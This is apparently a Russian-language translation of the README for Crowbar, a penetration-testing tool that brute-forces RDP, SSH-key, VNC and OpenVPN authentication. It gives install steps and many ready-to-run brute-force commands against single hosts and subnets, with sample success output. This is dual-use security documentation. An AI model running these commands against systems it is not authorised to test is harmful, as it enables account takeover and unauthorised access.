Брутфорсер для протоколов, слабо поддерживаемых другими инструментами: OpenVPN с клиентскими сертификатами, RDP без блокировки аккаунтов, SSH-ключи и VNC-ключи.
# Kali Linux sudo apt install crowbar # Из исходников git clone https://github.com/galkan/crowbar cd crowbar && pip install -r requirements.txt python crowbar.py --help
Crowbar (ранее известный как Levye) — это инструмент для перебора, который может использоваться при проведении пентестов. Он был разработан для перебора некоторых протоколов иным образом, чем другие популярные инструменты для перебора. Например, в то время как большинство инструментов для перебора используют имя пользователя и пароль для атаки на SSH, Crowbar использует SSH-ключи. Это позволяет использовать любые полученные во время пентестов приватные ключи для атак на другие SSH-серверы.
В настоящее время Crowbar поддерживает:
-b openvpn)-b rdp)-b sshkey)-b vnckey)Пользователи Kali Linux могут выполнить
# sudo apt install -y crowbar
Или, если вы хотите установить из исходного кода, установите все зависимости:
Debain 9/10+ & Kali Rolling
# sudo apt install -y nmap openvpn freerdp2-x11 tigervnc-viewer python3 python3-pip
Debain 7/8 & Kali 1/2
# sudo apt-get install -y nmap openvpn freerdp-x11 vncviewer
Затем получите последнюю версию с GitHub:
# git clone https://github.com/galkan/crowbar
# cd crowbar/
# pip3 install -r requirements.txt
Примечание: Пакет клиента RDP зависит от вашей ОС:
freerdp2-x11freerdp-x11.xfreerdp.freerdp по инструкции: http://opentechnotes.blogspot.co.uk/2015/02/compile-headless-freerdp-credential-checking.htmlНе забудьте исправить ./lib/main.py, чтобы он указывал на новый бинарный файл!
openvpn, rdp, sshkey, vnckey</путь/к/файлу> со списком паролей-s/-S) перед попыткой перебора. Это позволит определить, открыт ли порт цели</путь/к/файлу-или-папке> для файлов ключей (для SSH или VNC)</путь/к/файлу> для сохранения файла журнала (по умолчанию ./crowbar.log)</путь/к/файлу> для файла конфигурации OpenVPN</путь/к/файлу> для сохранения успешных попыток (по умолчанию ./crowbar.out)</путь/к/файлу>, который содержит целевые IP-адреса</путь/к/файлу>, который содержит список имен пользователейЕсли вы хотите увидеть все параметры использования, пожалуйста, используйте: ./crowbar.py --help.
ВНИМАНИЕ: Если вы хотите использовать имя пользователя, включая ДОМЕН, пожалуйста, укажите имя пользователя, как показано ниже. Обратная косая черта (\) является экранирующим символом для Python. Поэтому вы должны использовать один из двух следующих форматов:
# ./crowbar.py -b rdp -u DOMAIN\\gokhan alkan -c Aa123456 -s 10.68.35.150/32
2015-03-28 11:03:39 RDP-SUCCESS : 10.68.35.150:3389 - "DOMAIN\gokhan alkan":Aa123456,
# ./crowbar.py -b rdp -u gokhan alkan@ornek -c Aa123456 -s 10.68.35.150/32
2015-03-28 11:04:00 RDP-SUCCESS : 10.68.35.150:3389 - "gokhan alkan@DOMAIN":Aa123456,
Ниже приведены несколько примеров атак на RDP с помощью Crowbar.
Перебор RDP для одного IP-адреса с использованием одного имени пользователя и одного пароля:
# ./crowbar.py -b rdp -s 192.168.2.182/32 -u admin -c Aa123456

Перебор RDP для одного IP-адреса с использованием файла списка имен пользователей и одного пароля:
# ./crowbar.py -b rdp -s 192.168.2.211/32 -U ~/Desktop/userlist -c passw0rd

Перебор RDP для одного IP-адреса с использованием одного имени пользователя и файла списка паролей:
# ./crowbar.py -b rdp -s 192.168.2.250/32 -u localuser -C ~/Desktop/passlist

Перебор RDP для подсети с использованием файла списка пользователей и файла списка паролей в режиме обнаружения:
# ./crowbar.py -b rdp -s 192.168.2.0/24 -U ~/Desktop/userlist -C ~/Desktop/passlist -d

Ниже приведены несколько примеров атак с использованием Crowbar.
Попытка перебора SSH-ключа для одного IP-адреса с использованием одного имени пользователя и одного приватного SSH-ключа:
# ./crowbar.py -b sshkey -s 192.168.2.105/32 -u root -k ~/.ssh/id_rsa

Попытка перебора SSH-ключа для одного IP-адреса с использованием одного имени пользователя и всех SSH-ключей в папке:
# ./crowbar.py -b sshkey -s 192.168.2.105/32 -u root -k ~/.ssh/

Попытка перебора SSH-ключа для подсети с использованием одного имени пользователя и всех SSH-ключей в папке в режиме обнаружения:
# ./crowbar.py -b sshkey -s 192.168.2.0/24 -u root -k ~/.ssh/ -d

Ниже приведен пример атаки на службу VNC с помощью Crowbar.
Попытка перебора VNC для одного IP-адреса с использованием файла пароля и указанным номером порта:
# ./crowbar.py -b vnckey -s 192.168.2.105/32 -p 5902 -k ~/.vnc/passwd

Ниже приведен пример атаки на OpenVPN с помощью Crowbar.
Попытка перебора OpenVPN для одного IP-адреса с использованием файла конфигурации, одного имени пользователя и одного пароля, с указанным номером порта и опциональным файлом сертификата. Неважно, используется ли TCP или UDP:
# grep remote ~/Desktop/vpnbook.ovpn
remote vpn.example.com 1194 udp
# host vpn.example.com | awk '{print $1}'
198.7.62.204
# grep '^auth-user-pass' ~/Desktop/vpnbook.ovpn
# ./crowbar.py -b openvpn -s 198.7.62.204/32 -p 1194 -m ~/Desktop/vpnbook.ovpn -k ~/Desktop/vpnbook_ca.crt -u vpnbook -c cr2hudaF

После запуска Crowbar генерирует два файла для журналирования и результатов, которые находятся в вашей текущей директории. Имя файла журнала по умолчанию — crowbar.log, в котором хранятся все попытки перебора во время выполнения. Если вы не хотите использовать файл журнала по умолчанию, вы должны использовать -l путь_к_журналу. Второй файл — crowbar.out, в котором хранятся успешные попытки во время выполнения. Если вы не хотите использовать файл вывода по умолчанию, вы должны использовать -o путь_к_выводу. После этого вы можете отслеживать операции Crowbar.
Вы можете сделать вывод более подробным с помощью -v, или можно показать еще больше информации с -vv. Если вы пытаетесь исправить проблему или потенциальный баг, использование -D включит режим отладки и выведет гораздо больше информации.